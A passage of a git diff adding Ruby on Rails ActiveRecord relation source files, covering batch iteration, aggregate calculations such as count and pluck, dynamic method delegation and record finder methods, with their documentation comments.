+ end
+
+ # Joins that are also marked for preloading. In which case we should just eager load them.
+ # Note that this is a naive implementation because we could have strings and symbols which
+ # represent the same association, but that aren't matched by this. Also, we could have
+ # nested hashes which partially match, e.g. { a: :b } & { a: [:b, :c] }
+ def joined_includes_values
+ includes_values & joins_values
+ end
+
+ # +uniq+ and +uniq!+ are silently deprecated. +uniq_value+ delegates to +distinct_value+
+ # to maintain backwards compatibility. Use +distinct_value+ instead.
+ def uniq_value
+ distinct_value
+ end
+
+ # Compares two relations for equality.
+ def ==(other)
+ case other
+ when Relation
+ other.to_sql == to_sql
+ when Array
+ to_a == other
+ end
+ end
+
+ def pretty_print(q)
+ q.pp(self.to_a)
+ end
+
+ def with_default_scope #:nodoc:
+ if default_scoped? && default_scope = klass.send(:build_default_scope)
+ default_scope = default_scope.merge(self)
+ default_scope.default_scoped = false
+ default_scope
+ else
+ self
+ end
+ end
+
+ # Returns true if relation is blank.
+ def blank?
+ to_a.blank?
+ end
+
+ def values
+ Hash[@values]
+ end
+
+ def inspect
+ entries = to_a.take([limit_value, 11].compact.min).map!(&:inspect)
+ entries[10] = '...' if entries.size == 11
+
+ "#<#{self.class.name} [#{entries.join(', ')}]>"
+ end
+
+ private
+
+ def exec_queries
+ default_scoped = with_default_scope
+
+ if default_scoped.equal?(self)
+ @records = eager_loading? ? find_with_associations : @klass.find_by_sql(arel, bind_values)
+
+ preload = preload_values
+ preload += includes_values unless eager_loading?
+ preload.each do |associations|
+ ActiveRecord::Associations::Preloader.new(@records, associations).run
+ end
+
+ # @readonly_value is true only if set explicitly. @implicit_readonly is true if there
+ # are JOINS and no explicit SELECT.
+ readonly = readonly_value.nil? ? @implicit_readonly : readonly_value
+ @records.each { |record| record.readonly! } if readonly
+ else
+ @records = default_scoped.to_a
+ end
+
+ @loaded = true
+ @records
+ end
+
+ def references_eager_loaded_tables?
+ joined_tables = arel.join_sources.map do |join|
+ if join.is_a?(Arel::Nodes::StringJoin)
+ tables_in_string(join.left)
+ else
+ [join.left.table_name, join.left.table_alias]
+ end
+ end
+
+ joined_tables += [table.name, table.table_alias]
+
+ # always convert table names to downcase as in Oracle quoted table names are in uppercase
+ joined_tables = joined_tables.flatten.compact.map { |t| t.downcase }.uniq
+ string_tables = tables_in_string(to_sql)
+
+ if (references_values - joined_tables).any?
+ true
+ elsif !ActiveRecord::Base.disable_implicit_join_references &&
+ (string_tables - joined_tables).any?
+ ActiveSupport::Deprecation.warn(
+ "It looks like you are eager loading table(s) (one of: #{string_tables.join(', ')}) " \
+ "that are referenced in a string SQL snippet. For example: \n" \
+ "\n" \
+ " Post.includes(:comments).where(\"comments.title = 'foo'\")\n" \
+ "\n" \
+ "Currently, Active Record recognizes the table in the string, and knows to JOIN the " \
+ "comments table to the query, rather than loading comments in a separate query. " \
+ "However, doing this without writing a full-blown SQL parser is inherently flawed. " \
+ "Since we don't want to write an SQL parser, we are removing this functionality. " \
+ "From now on, you must explicitly tell Active Record when you are referencing a table " \
+ "from a string:\n" \
+ "\n" \
+ " Post.includes(:comments).where(\"comments.title = 'foo'\").references(:comments)\n" \
+ "\n" \
+ "If you don't rely on implicit join references you can disable the feature entirely " \
+ "by setting `config.active_record.disable_implicit_join_references = true`."
+ )
+ true
+ else
+ false
+ end
+ end
+
+ def tables_in_string(string)
+ return [] if string.blank?
+ # always convert table names to downcase as in Oracle quoted table names are in uppercase
+ # ignore raw_sql_ that is used by Oracle adapter as alias for limit/offset subqueries
+ string.scan(/([a-zA-Z_][.\w]+).?\./).flatten.map{ |s| s.downcase }.uniq - ['raw_sql_']
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/relation/batches.rb b/activerecord/lib/active_record/relation/batches.rb
new file mode 100644
index 0000000..b921f2e
--- /dev/null
+++ b/activerecord/lib/active_record/relation/batches.rb
@@ -0,0 +1,93 @@
+
+module ActiveRecord
+ module Batches
+ # Looping through a collection of records from the database
+ # (using the +all+ method, for example) is very inefficient
+ # since it will try to instantiate all the objects at once.
+ #
+ # In that case, batch processing methods allow you to work
+ # with the records in batches, thereby greatly reducing memory consumption.
+ #
+ # The #find_each method uses #find_in_batches with a batch size of 1000 (or as
+ # specified by the +:batch_size+ option).
+ #
+ # Person.all.find_each do |person|
+ # person.do_awesome_stuff
+ # end
+ #
+ # Person.where("age > 21").find_each do |person|
+ # person.party_all_night!
+ # end
+ #
+ # You can also pass the +:start+ option to specify
+ # an offset to control the starting point.
+ def find_each(options = {})
+ find_in_batches(options) do |records|
+ records.each { |record| yield record }
+ end
+ end
+
+ # Yields each batch of records that was found by the find +options+ as
+ # an array. The size of each batch is set by the +:batch_size+
+ # option; the default is 1000.
+ #
+ # You can control the starting point for the batch processing by
+ # supplying the +:start+ option. This is especially useful if you
+ # want multiple workers dealing with the same processing queue. You can
+ # make worker 1 handle all the records between id 0 and 10,000 and
+ # worker 2 handle from 10,000 and beyond (by setting the +:start+
+ # option on that worker).
+ #
+ # It's not possible to set the order. That is automatically set to
+ # ascending on the primary key ("id ASC") to make the batch ordering
+ # work. This also means that this method only works with integer-based
+ # primary keys. You can't set the limit either, that's used to control
+ # the batch sizes.
+ #
+ # Person.where("age > 21").find_in_batches do |group|
+ # sleep(50) # Make sure it doesn't get too crowded in there!
+ # group.each { |person| person.party_all_night! }
+ # end
+ #
+ # # Let's process the next 2000 records
+ # Person.all.find_in_batches(start: 2000, batch_size: 2000) do |group|
+ # group.each { |person| person.party_all_night! }
+ # end
+ def find_in_batches(options = {})
+ options.assert_valid_keys(:start, :batch_size)
+
+ relation = self
+
+ unless arel.orders.blank? && arel.taken.blank?
+ ActiveRecord::Base.logger.warn("Scoped order and limit are ignored, it's forced to be batch order and batch size")
+ end
+
+ start = options.delete(:start)
+ batch_size = options.delete(:batch_size) || 1000
+
+ relation = relation.reorder(batch_order).limit(batch_size)
+ records = start ? relation.where(table[primary_key].gteq(start)).to_a : relation.to_a
+
+ while records.any?
+ records_size = records.size
+ primary_key_offset = records.last.id
+
+ yield records
+
+ break if records_size < batch_size
+
+ if primary_key_offset
+ records = relation.where(table[primary_key].gt(primary_key_offset)).to_a
+ else
+ raise "Primary key not included in the custom select clause"
+ end
+ end
+ end
+
+ private
+
+ def batch_order
+ "#{quoted_table_name}.#{quoted_primary_key} ASC"
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/relation/calculations.rb b/activerecord/lib/active_record/relation/calculations.rb
new file mode 100644
index 0000000..64e1ff9
--- /dev/null
+++ b/activerecord/lib/active_record/relation/calculations.rb
@@ -0,0 +1,399 @@
+module ActiveRecord
+ module Calculations
+ # Count the records.
+ #
+ # Person.count
+ # # => the total count of all people
+ #
+ # Person.count(:age)
+ # # => returns the total count of all people whose age is present in database
+ #
+ # Person.count(:all)
+ # # => performs a COUNT(*) (:all is an alias for '*')
+ #
+ # Person.distinct.count(:age)
+ # # => counts the number of different age values
+ #
+ # If +count+ is used with +group+, it returns a Hash whose keys represent the aggregated column,
+ # and the values are the respective amounts:
+ #
+ # Person.group(:city).count
+ # # => { 'Rome' => 5, 'Paris' => 3 }
+ def count(column_name = nil, options = {})
+ column_name, options = nil, column_name if column_name.is_a?(Hash)
+ calculate(:count, column_name, options)
+ end
+
+ # Calculates the average value on a given column. Returns +nil+ if there's
+ # no row. See +calculate+ for examples with options.
+ #
+ # Person.average('age') # => 35.8
+ def average(column_name, options = {})
+ calculate(:average, column_name, options)
+ end
+
+ # Calculates the minimum value on a given column. The value is returned
+ # with the same data type of the column, or +nil+ if there's no row. See
+ # +calculate+ for examples with options.
+ #
+ # Person.minimum('age') # => 7
+ def minimum(column_name, options = {})
+ calculate(:minimum, column_name, options)
+ end
+
+ # Calculates the maximum value on a given column. The value is returned
+ # with the same data type of the column, or +nil+ if there's no row. See
+ # +calculate+ for examples with options.
+ #
+ # Person.maximum('age') # => 93
+ def maximum(column_name, options = {})
+ calculate(:maximum, column_name, options)
+ end
+
+ # Calculates the sum of values on a given column. The value is returned
+ # with the same data type of the column, 0 if there's no row. See
+ # +calculate+ for examples with options.
+ #
+ # Person.sum('age') # => 4562
+ def sum(*args)
+ if block_given?
+ ActiveSupport::Deprecation.warn(
+ "Calling #sum with a block is deprecated and will be removed in Rails 4.1. " \
+ "If you want to perform sum calculation over the array of elements, use `to_a.sum(&block)`."
+ )
+ self.to_a.sum(*args) {|*block_args| yield(*block_args)}
+ else
+ calculate(:sum, *args)
+ end
+ end
+
+ # This calculates aggregate values in the given column. Methods for count, sum, average,
+ # minimum, and maximum have been added as shortcuts.
+ #
+ # There are two basic forms of output:
+ #
+ # * Single aggregate value: The single value is type cast to Fixnum for COUNT, Float
+ # for AVG, and the given column's type for everything else.
+ #
+ # * Grouped values: This returns an ordered hash of the values and groups them. It
+ # takes either a column name, or the name of a belongs_to association.
+ #
+ # values = Person.group('last_name').maximum(:age)
+ # puts values["Drake"]
+ # # => 43
+ #
+ # drake = Family.find_by(last_name: 'Drake')
+ # values = Person.group(:family).maximum(:age) # Person belongs_to :family
+ # puts values[drake]
+ # # => 43
+ #
+ # values.each do |family, max_age|
+ # ...
+ # end
+ #
+ # Person.calculate(:count, :all) # The same as Person.count
+ # Person.average(:age) # SELECT AVG(age) FROM people...
+ #
+ # # Selects the minimum age for any family without any minors
+ # Person.group(:last_name).having("min(age) > 17").minimum(:age)
+ #
+ # Person.sum("2 * age")
+ def calculate(operation, column_name, options = {})
+ relation = with_default_scope
+
+ if relation.equal?(self)
+ if has_include?(column_name)
+ construct_relation_for_association_calculations.calculate(operation, column_name, options)
+ else
+ perform_calculation(operation, column_name, options)
+ end
+ else
+ relation.calculate(operation, column_name, options)
+ end
+ rescue ThrowResult
+ 0
+ end
+
+ # Use <tt>pluck</tt> as a shortcut to select one or more attributes without
+ # loading a bunch of records just to grab the attributes you want.
+ #
+ # Person.pluck(:name)
+ #
+ # instead of
+ #
+ # Person.all.map(&:name)
+ #
+ # Pluck returns an <tt>Array</tt> of attribute values type-casted to match
+ # the plucked column names, if they can be deduced. Plucking an SQL fragment
+ # returns String values by default.
+ #
+ # Person.pluck(:id)
+ # # SELECT people.id FROM people
+ # # => [1, 2, 3]
+ #
+ # Person.pluck(:id, :name)
+ # # SELECT people.id, people.name FROM people
+ # # => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+ #
+ # Person.pluck('DISTINCT role')
+ # # SELECT DISTINCT role FROM people
+ # # => ['admin', 'member', 'guest']
+ #
+ # Person.where(age: 21).limit(5).pluck(:id)
+ # # SELECT people.id FROM people WHERE people.age = 21 LIMIT 5
+ # # => [2, 3]
+ #
+ # Person.pluck('DATEDIFF(updated_at, created_at)')
+ # # SELECT DATEDIFF(updated_at, created_at) FROM people
+ # # => ['0', '27761', '173']
+ #
+ def pluck(*column_names)
+ column_names.map! do |column_name|
+ if column_name.is_a?(Symbol) && self.column_names.include?(column_name.to_s)
+ "#{connection.quote_table_name(table_name)}.#{connection.quote_column_name(column_name)}"
+ else
+ column_name
+ end
+ end
+
+ if has_include?(column_names.first)
+ construct_relation_for_association_calculations.pluck(*column_names)
+ else
+ relation = spawn
+ relation.select_values = column_names
+ result = klass.connection.select_all(relation.arel, nil, bind_values)
+ columns = result.columns.map do |key|
+ klass.column_types.fetch(key) {
+ result.column_types.fetch(key) {
+ Class.new { def type_cast(v); v; end }.new
+ }
+ }
+ end
+
+ result = result.map do |attributes|
+ values = klass.initialize_attributes(attributes).values
+
+ columns.zip(values).map do |column, value|
+ column.type_cast(value)
+ end
+ end
+ columns.one? ? result.map!(&:first) : result
+ end
+ end
+
+ # Pluck all the ID's for the relation using the table's primary key
+ #
+ # Person.ids # SELECT people.id FROM people
+ # Person.joins(:companies).ids # SELECT people.id FROM people INNER JOIN companies ON companies.person_id = people.id
+ def ids
+ pluck primary_key
+ end
+
+ private
+
+ def has_include?(column_name)
+ eager_loading? || (includes_values.present? && (column_name || references_eager_loaded_tables?))
+ end
+
+ def perform_calculation(operation, column_name, options = {})
+ operation = operation.to_s.downcase
+
+ # If #count is used with #distinct / #uniq it is considered distinct. (eg. relation.distinct.count)
+ distinct = self.distinct_value
+ if options.has_key?(:distinct)
+ ActiveSupport::Deprecation.warn "The :distinct option for `Relation#count` is deprecated. " \
+ "Please use `Relation#distinct` instead. (eg. `relation.distinct.count`)"
+ distinct = options[:distinct]
+ end
+
+ if operation == "count"
+ column_name ||= (select_for_count || :all)
+
+ unless arel.ast.grep(Arel::Nodes::OuterJoin).empty?
+ distinct = true
+ end
+
+ column_name = primary_key if column_name == :all && distinct
+
+ distinct = nil if column_name =~ /\s*DISTINCT\s+/i
+ end
+
+ if group_values.any?
+ execute_grouped_calculation(operation, column_name, distinct)
+ else
+ execute_simple_calculation(operation, column_name, distinct)
+ end
+ end
+
+ def aggregate_column(column_name)
+ if @klass.column_names.include?(column_name.to_s)
+ Arel::Attribute.new(@klass.unscoped.table, column_name)
+ else
+ Arel.sql(column_name == :all ? "*" : column_name.to_s)
+ end
+ end
+
+ def operation_over_aggregate_column(column, operation, distinct)
+ operation == 'count' ? column.count(distinct) : column.send(operation)
+ end
+
+ def execute_simple_calculation(operation, column_name, distinct) #:nodoc:
+ # Postgresql doesn't like ORDER BY when there are no GROUP BY
+ relation = reorder(nil)
+
+ column_alias = column_name
+
+ if operation == "count" && (relation.limit_value || relation.offset_value)
+ # Shortcut when limit is zero.
+ return 0 if relation.limit_value == 0
+
+ query_builder = build_count_subquery(relation, column_name, distinct)
+ else
+ column = aggregate_column(column_name)
+
+ select_value = operation_over_aggregate_column(column, operation, distinct)
+
+ column_alias = select_value.alias
+ relation.select_values = [select_value]
+
+ query_builder = relation.arel
+ end
+
+ result = @klass.connection.select_all(query_builder, nil, relation.bind_values)
+ row = result.first
+ value = row && row.values.first
+ column = result.column_types.fetch(column_alias) do
+ column_for(column_name)
+ end
+
+ type_cast_calculated_value(value, column, operation)
+ end
+
+ def execute_grouped_calculation(operation, column_name, distinct) #:nodoc:
+ group_attrs = group_values
+
+ if group_attrs.first.respond_to?(:to_sym)
+ association = @klass.reflect_on_association(group_attrs.first.to_sym)
+ associated = group_attrs.size == 1 && association && association.macro == :belongs_to # only count belongs_to associations
+ group_fields = Array(associated ? association.foreign_key : group_attrs)
+ else
+ group_fields = group_attrs
+ end
+
+ group_aliases = group_fields.map { |field|
+ column_alias_for(field)
+ }
+ group_columns = group_aliases.zip(group_fields).map { |aliaz,field|
+ [aliaz, field]
+ }
+
+ group = group_fields
+
+ if operation == 'count' && column_name == :all
+ aggregate_alias = 'count_all'
+ else
+ aggregate_alias = column_alias_for([operation, column_name].join(' '))
+ end
+
+ select_values = [
+ operation_over_aggregate_column(
+ aggregate_column(column_name),
+ operation,
+ distinct).as(aggregate_alias)
+ ]
+ select_values += select_values unless having_values.empty?
+
+ select_values.concat group_fields.zip(group_aliases).map { |field,aliaz|
+ if field.respond_to?(:as)
+ field.as(aliaz)
+ else
+ "#{field} AS #{aliaz}"
+ end
+ }
+
+ relation = except(:group)
+ relation.group_values = group
+ relation.select_values = select_values
+
+ calculated_data = @klass.connection.select_all(relation, nil, bind_values)
+
+ if association
+ key_ids = calculated_data.collect { |row| row[group_aliases.first] }
+ key_records = association.klass.base_class.find(key_ids)
+ key_records = Hash[key_records.map { |r| [r.id, r] }]
+ end
+
+ Hash[calculated_data.map do |row|
+ key = group_columns.map { |aliaz, col_name|
+ column = calculated_data.column_types.fetch(aliaz) do
+ column_for(col_name)
+ end
+ type_cast_calculated_value(row[aliaz], column)
+ }
+ key = key.first if key.size == 1
+ key = key_records[key] if associated
+ [key, type_cast_calculated_value(row[aggregate_alias], column_for(column_name), operation)]
+ end]
+ end
+
+ # Converts the given keys to the value that the database adapter returns as
+ # a usable column name:
+ #
+ # column_alias_for("users.id") # => "users_id"
+ # column_alias_for("sum(id)") # => "sum_id"
+ # column_alias_for("count(distinct users.id)") # => "count_distinct_users_id"
+ # column_alias_for("count(*)") # => "count_all"
+ # column_alias_for("count", "id") # => "count_id"
+ def column_alias_for(keys)
+ if keys.respond_to? :name
+ keys = "#{keys.relation.name}.#{keys.name}"
+ end
+
+ table_name = keys.to_s.downcase
+ table_name.gsub!(/\*/, 'all')
+ table_name.gsub!(/\W+/, ' ')
+ table_name.strip!
+ table_name.gsub!(/ +/, '_')
+
+ @klass.connection.table_alias_for(table_name)
+ end
+
+ def column_for(field)
+ field_name = field.respond_to?(:name) ? field.name.to_s : field.to_s.split('.').last
+ @klass.columns_hash[field_name]
+ end
+
+ def type_cast_calculated_value(value, column, operation = nil)
+ case operation
+ when 'count' then value.to_i
+ when 'sum' then type_cast_using_column(value || 0, column)
+ when 'average' then value.respond_to?(:to_d) ? value.to_d : value
+ else type_cast_using_column(value, column)
+ end
+ end
+
+ def type_cast_using_column(value, column)
+ column ? column.type_cast(value) : value
+ end
+
+ def select_for_count
+ if select_values.present?
+ select = select_values.join(", ")
+ select if select !~ /[,*]/
+ end
+ end
+
+ def build_count_subquery(relation, column_name, distinct)
+ column_alias = Arel.sql('count_column')
+ subquery_alias = Arel.sql('subquery_for_count')
+
+ aliased_column = aggregate_column(column_name == :all ? 1 : column_name).as(column_alias)
+ relation.select_values = [aliased_column]
+ subquery = relation.arel.as(subquery_alias)
+
+ sm = Arel::SelectManager.new relation.engine
+ select_value = operation_over_aggregate_column(column_alias, 'count', distinct)
+ sm.project(select_value).from(subquery)
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/relation/delegation.rb b/activerecord/lib/active_record/relation/delegation.rb
new file mode 100644
index 0000000..1b6239e
--- /dev/null
+++ b/activerecord/lib/active_record/relation/delegation.rb
@@ -0,0 +1,125 @@
+require 'thread'
+require 'thread_safe'
+
+module ActiveRecord
+ module Delegation # :nodoc:
+ extend ActiveSupport::Concern
+
+ # This module creates compiled delegation methods dynamically at runtime, which makes
+ # subsequent calls to that method faster by avoiding method_missing. The delegations
+ # may vary depending on the klass of a relation, so we create a subclass of Relation
+ # for each different klass, and the delegations are compiled into that subclass only.
+
+ delegate :to_xml, :to_yaml, :length, :collect, :map, :each, :all?, :include?, :to_ary, :to => :to_a
+ delegate :table_name, :quoted_table_name, :primary_key, :quoted_primary_key,
+ :connection, :columns_hash, :to => :klass
+
+ module ClassSpecificRelation
+ extend ActiveSupport::Concern
+
+ included do
+ @delegation_mutex = Mutex.new
+ end
+
+ module ClassMethods
+ def name
+ superclass.name
+ end
+
+ def delegate_to_scoped_klass(method)
+ @delegation_mutex.synchronize do
+ return if method_defined?(method)
+
+ if method.to_s =~ /\A[a-zA-Z_]\w*[!?]?\z/
+ module_eval <<-RUBY, __FILE__, __LINE__ + 1
+ def #{method}(*args, &block)
+ scoping { @klass.#{method}(*args, &block) }
+ end
+ RUBY
+ else
+ define_method method do |*args, &block|
+ scoping { @klass.send(method, *args, &block) }
+ end
+ end
+ end
+ end
+
+ def delegate(method, opts = {})
+ @delegation_mutex.synchronize do
+ return if method_defined?(method)
+ super
+ end
+ end
+ end
+
+ protected
+
+ def method_missing(method, *args, &block)
+ if @klass.respond_to?(method)
+ self.class.delegate_to_scoped_klass(method)
+ scoping { @klass.send(method, *args, &block) }
+ elsif Array.method_defined?(method)
+ self.class.delegate method, :to => :to_a
+ to_a.send(method, *args, &block)
+ elsif arel.respond_to?(method)
+ self.class.delegate method, :to => :arel
+ arel.send(method, *args, &block)
+ else
+ super
+ end
+ end
+ end
+
+ module ClassMethods
+ @@subclasses = ThreadSafe::Cache.new(:initial_capacity => 2)
+
+ def new(klass, *args)
+ relation = relation_class_for(klass).allocate
+ relation.__send__(:initialize, klass, *args)
+ relation
+ end
+
+ # This doesn't have to be thread-safe. relation_class_for guarantees that this will only be
+ # called exactly once for a given const name.
+ def const_missing(name)
+ const_set(name, Class.new(self) { include ClassSpecificRelation })
+ end
+
+ private
+ # Cache the constants in @@subclasses because looking them up via const_get
+ # make instantiation significantly slower.
+ def relation_class_for(klass)
+ if klass && (klass_name = klass.name)
+ my_cache = @@subclasses.compute_if_absent(self) { ThreadSafe::Cache.new }
+ # This hash is keyed by klass.name to avoid memory leaks in development mode
+ my_cache.compute_if_absent(klass_name) do
+ # Cache#compute_if_absent guarantees that the block will only executed once for the given klass_name
+ const_get("#{name.gsub('::', '_')}_#{klass_name.gsub('::', '_')}", false)
+ end
+ else
+ ActiveRecord::Relation
+ end
+ end
+ end
+
+ def respond_to?(method, include_private = false)
+ super || Array.method_defined?(method) ||
+ @klass.respond_to?(method, include_private) ||
+ arel.respond_to?(method, include_private)
+ end
+
+ protected
+
+ def method_missing(method, *args, &block)
+ if @klass.respond_to?(method)
+ scoping { @klass.send(method, *args, &block) }
+ elsif Array.method_defined?(method)
+ to_a.send(method, *args, &block)
+ elsif arel.respond_to?(method)
+ arel.send(method, *args, &block)
+ else
+ super
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/relation/finder_methods.rb b/activerecord/lib/active_record/relation/finder_methods.rb
new file mode 100644
index 0000000..72e9272
--- /dev/null
+++ b/activerecord/lib/active_record/relation/finder_methods.rb
@@ -0,0 +1,349 @@
+module ActiveRecord
+ module FinderMethods
+ # Find by id - This can either be a specific id (1), a list of ids (1, 5, 6), or an array of ids ([5, 6, 10]).
+ # If no record can be found for all of the listed ids, then RecordNotFound will be raised. If the primary key
+ # is an integer, find by id coerces its arguments using +to_i+.
+ #
+ # Person.find(1) # returns the object for ID = 1
+ # Person.find("1") # returns the object for ID = 1
+ # Person.find(1, 2, 6) # returns an array for objects with IDs in (1, 2, 6)
+ # Person.find([7, 17]) # returns an array for objects with IDs in (7, 17)
+ # Person.find([1]) # returns an array for the object with ID = 1
+ # Person.where("administrator = 1").order("created_on DESC").find(1)
+ #
+ # Note that returned records may not be in the same order as the ids you
+ # provide since database rows are unordered. Give an explicit <tt>order</tt>
+ # to ensure the results are sorted.
+ #
+ # ==== Find with lock
+ #
+ # Example for find with a lock: Imagine two concurrent transactions:
+ # each will read <tt>person.visits == 2</tt>, add 1 to it, and save, resulting
+ # in two saves of <tt>person.visits = 3</tt>. By locking the row, the second
+ # transaction has to wait until the first is finished; we get the
+ # expected <tt>person.visits == 4</tt>.
+ #
+ # Person.transaction do
+ # person = Person.lock(true).find(1)
+ # person.visits += 1
+ # person.save!
+ # end
+ def find(*args)
+ if block_given?
+ to_a.find { |*block_args| yield(*block_args) }
+ else
+ find_with_ids(*args)
+ end
+ end
+
+ # Finds the first record matching the specified conditions. There
+ # is no implied ordering so if order matters, you should specify it
+ # yourself.
+ #
+ # If no record is found, returns <tt>nil</tt>.
+ #
+ # Post.find_by name: 'Spartacus', rating: 4
+ # Post.find_by "published_at < ?", 2.weeks.ago
+ def find_by(*args)
+ where(*args).take
+ end
+
+ # Like <tt>find_by</tt>, except that if no record is found, raises
+ # an <tt>ActiveRecord::RecordNotFound</tt> error.
+ def find_by!(*args)
+ where(*args).take!
+ end
+
+ # Gives a record (or N records if a parameter is supplied) without any implied
+ # order. The order will depend on the database implementation.
+ # If an order is supplied it will be respected.
+ #
+ # Person.take # returns an object fetched by SELECT * FROM people LIMIT 1
+ # Person.take(5) # returns 5 objects fetched by SELECT * FROM people LIMIT 5
+ # Person.where(["name LIKE '%?'", name]).take
+ def take(limit = nil)
+ limit ? limit(limit).to_a : find_take
+ end
+
+ # Same as +take+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+ # is found. Note that <tt>take!</tt> accepts no arguments.
+ def take!
+ take or raise RecordNotFound
+ end
+
+ # Find the first record (or first N records if a parameter is supplied).
+ # If no order is defined it will order by primary key.
+ #
+ # Person.first # returns the first object fetched by SELECT * FROM people
+ # Person.where(["user_name = ?", user_name]).first
+ # Person.where(["user_name = :u", { u: user_name }]).first
+ # Person.order("created_on DESC").offset(5).first
+ # Person.first(3) # returns the first three objects fetched by SELECT * FROM people LIMIT 3
+ def first(limit = nil)
+ if limit
+ if order_values.empty? && primary_key
+ order(arel_table[primary_key].asc).limit(limit).to_a
+ else
+ limit(limit).to_a
+ end
+ else
+ find_first
+ end
+ end
+
+ # Same as +first+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+ # is found. Note that <tt>first!</tt> accepts no arguments.
+ def first!
+ first or raise RecordNotFound
+ end
+
+ # Find the last record (or last N records if a parameter is supplied).
+ # If no order is defined it will order by primary key.
+ #
+ # Person.last # returns the last object fetched by SELECT * FROM people
+ # Person.where(["user_name = ?", user_name]).last
+ # Person.order("created_on DESC").offset(5).last
+ # Person.last(3) # returns the last three objects fetched by SELECT * FROM people.
+ #
+ # Take note that in that last case, the results are sorted in ascending order:
+ #
+ # [#<Person id:2>, #<Person id:3>, #<Person id:4>]
+ #
+ # and not:
+ #
+ # [#<Person id:4>, #<Person id:3>, #<Person id:2>]
+ def last(limit = nil)
+ if limit
+ if order_values.empty? && primary_key
+ order(arel_table[primary_key].desc).limit(limit).reverse
+ else
+ to_a.last(limit)
+ end
+ else
+ find_last
+ end
+ end
+
+ # Same as +last+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+ # is found. Note that <tt>last!</tt> accepts no arguments.
+ def last!
+ last or raise RecordNotFound
+ end
+
+ # Returns truthy if a record exists in the table that matches the +id+ or
+ # conditions given, or falsy otherwise. The argument can take six forms:
+ #
+ # * Integer - Finds the record with this primary key.
+ # * String - Finds the record with a primary key corresponding to this
+ # string (such as <tt>'5'</tt>).
+ # * Array - Finds the record that matches these +find+-style conditions
+ # (such as <tt>['color = ?', 'red']</tt>).
+ # * Hash - Finds the record that matches these +find+-style conditions
+ # (such as <tt>{color: 'red'}</tt>).
+ # * +false+ - Returns always +false+.
+ # * No args - Returns +false+ if the table is empty, +true+ otherwise.
+ #
+ # For more information about specifying conditions as a Hash or Array,
+ # see the Conditions section in the introduction to ActiveRecord::Base.
+ #
+ # Note: You can't pass in a condition as a string (like <tt>name =
+ # 'Jamie'</tt>), since it would be sanitized and then queried against
+ # the primary key column, like <tt>id = 'name = \'Jamie\''</tt>.
+ #
+ # Person.exists?(5)
+ # Person.exists?('5')
+ # Person.exists?(['name LIKE ?', "%#{query}%"])
+ # Person.exists?(name: 'David')
+ # Person.exists?(false)
+ # Person.exists?
+ def exists?(conditions = :none)
+ conditions = conditions.id if Base === conditions
+ return false if !conditions
+
+ join_dependency = construct_join_dependency_for_association_find
+ relation = construct_relation_for_association_find(join_dependency)
+ relation = relation.except(:select, :order).select("1 AS one").limit(1)
+
+ case conditions
+ when Array, Hash
+ relation = relation.where(conditions)
+ else
+ relation = relation.where(table[primary_key].eq(conditions)) if conditions != :none
+ end
+
+ connection.select_value(relation, "#{name} Exists", relation.bind_values)
+ rescue ThrowResult
+ false
+ end
+
+ # This method is called whenever no records are found with either a single
+ # id or multiple ids and raises a +ActiveRecord::RecordNotFound+ exception.
+ #
+ # The error message is different depending on whether a single id or
+ # multiple ids are provided. If multiple ids are provided, then the number
+ # of results obtained should be provided in the +result_size+ argument and
+ # the expected number of results should be provided in the +expected_size+
+ # argument.
+ def raise_record_not_found_exception!(ids, result_size, expected_size) #:nodoc:
+ conditions = arel.where_sql
+ conditions = " [#{conditions}]" if conditions
+
+ if Array(ids).size == 1
+ error = "Couldn't find #{@klass.name} with #{primary_key}=#{ids}#{conditions}"
+ else
+ error = "Couldn't find all #{@klass.name.pluralize} with IDs "
+ error << "(#{ids.join(", ")})#{conditions} (found #{result_size} results, but was looking for #{expected_size})"
+ end
+
+ raise RecordNotFound, error
+ end
+
+ protected
+
+ def find_with_associations
+ join_dependency = construct_join_dependency_for_association_find
+ relation = construct_relation_for_association_find(join_dependency)
+ rows = connection.select_all(relation, 'SQL', relation.bind_values.dup)
+ join_dependency.instantiate(rows)
+ rescue ThrowResult
+ []
+ end
+
+ def construct_join_dependency_for_association_find
+ including = (eager_load_values + includes_values).uniq
+ ActiveRecord::Associations::JoinDependency.new(@klass, including, [])
+ end
+
+ def construct_relation_for_association_calculations
+ including = (eager_load_values + includes_values).uniq
+ join_dependency = ActiveRecord::Associations::JoinDependency.new(@klass, including, arel.froms.first)
+ relation = except(:includes, :eager_load, :preload)
+ apply_join_dependency(relation, join_dependency)
+ end
+
+ def construct_relation_for_association_find(join_dependency)
+ relation = except(:includes, :eager_load, :preload, :select).select(join_dependency.columns)
+ apply_join_dependency(relation, join_dependency)
+ end
+
+ def apply_join_dependency(relation, join_dependency)
+ join_dependency.join_associations.each do |association|
+ relation = association.join_relation(relation)
+ end
+
+ limitable_reflections = using_limitable_reflections?(join_dependency.reflections)
+
+ if !limitable_reflections && relation.limit_value
+ limited_id_condition = construct_limited_ids_condition(relation.except(:select))
+ relation = relation.where(limited_id_condition)
+ end
+
+ relation = relation.except(:limit, :offset) unless limitable_reflections
+
+ relation
+ end
+
+ def construct_limited_ids_condition(relation)
+ orders = relation.order_values.map { |val| val.presence }.compact
+ values = @klass.connection.distinct("#{quoted_table_name}.#{primary_key}", orders)
+
+ relation = relation.dup.select(values)
+
+ id_rows = @klass.connection.select_all(relation.arel, 'SQL', relation.bind_values)
+ ids_array = id_rows.map {|row| row[primary_key]}
+
+ ids_array.empty? ? raise(ThrowResult) : table[primary_key].in(ids_array)
+ end
+
+ def find_with_ids(*ids)
+ expects_array = ids.first.kind_of?(Array)
+ return ids.first if expects_array && ids.first.empty?
+
+ ids = ids.flatten.compact.uniq
+
+ case ids.size
+ when 0
+ raise RecordNotFound, "Couldn't find #{@klass.name} without an ID"
+ when 1
+ result = find_one(ids.first)
+ expects_array ? [ result ] : result
+ else
+ find_some(ids)
+ end
+ end
+
+ def find_one(id)
+ id = id.id if ActiveRecord::Base === id
+
+ column = columns_hash[primary_key]
+ substitute = connection.substitute_at(column, bind_values.length)
+ relation = where(table[primary_key].eq(substitute))
+ relation.bind_values += [[column, id]]
+ record = relation.take
+
+ raise_record_not_found_exception!(id, 0, 1) unless record
+
